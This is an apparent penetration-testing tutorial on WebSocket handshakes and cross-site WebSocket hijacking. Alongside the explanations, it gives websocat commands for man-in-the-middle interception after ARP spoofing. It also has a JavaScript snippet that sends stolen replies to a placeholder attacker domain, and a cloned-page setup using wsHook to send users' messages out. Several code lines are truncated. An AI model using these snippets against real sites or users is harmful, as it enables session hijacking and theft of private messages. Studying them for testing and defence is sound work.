Cross-site WebSocket hijacking (CSWSH)

What are WebSockets

WebSocket connections are initiated over HTTP and are typically long-lived. Messages can be sent in either direction at any time and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message. WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.

How are WebSocket connections established?

WebSocket connections are normally created using client-side JavaScript like the following:

var ws = new WebSocket("wss://");

The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

GET /chat HTTP/1.1
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

If the server accepts the connection, it returns a WebSocket handshake response like the following:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.


Several features of the WebSocket handshake messages are worth noting:

  • The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.

  • The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.

  • The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.

  • The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes (It's not a CSRF token).

Linux console

You can use websocat to stablish a raw connection with a websocket.

websocat --insecure wss:// -v

Or to create a websocat server:

websocat -s #Listen in port 8000

MitM websocket connections

If you find that clients are connection to a HTTP websocket from your current local network you could try an ARP Spoofing Attack to perform a MitM attack between the client and the server. Once the client is trying to connect to you you can use:

websocat -E --insecure --text ws-listen: wss:// -v

Cross-site WebSocket hijacking (CSWSH)

Also known as cross-origin WebSocket hijacking. It is a Cross-Site Request Forgery (CSRF) on a WebSocket handshake.

It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values. An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user's session with the application.

Simple Attack

This attack allows you to make the client connect to websocket server and send some predefined value.

websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?', {mode: 'no-cors'})

Usually this will be useless as what you want is to get the information the real user is sending and the responses.

Stealing data from user

Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();"GET", "client_msg?m="+data, true);
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();"GET", "server_msg?m=", true);
return messageEvent;

Now download the wsHook.js file from and save it inside the folder with the web files. Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:

sudo python3 -m http.server 80

Other vulnerabilities

As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.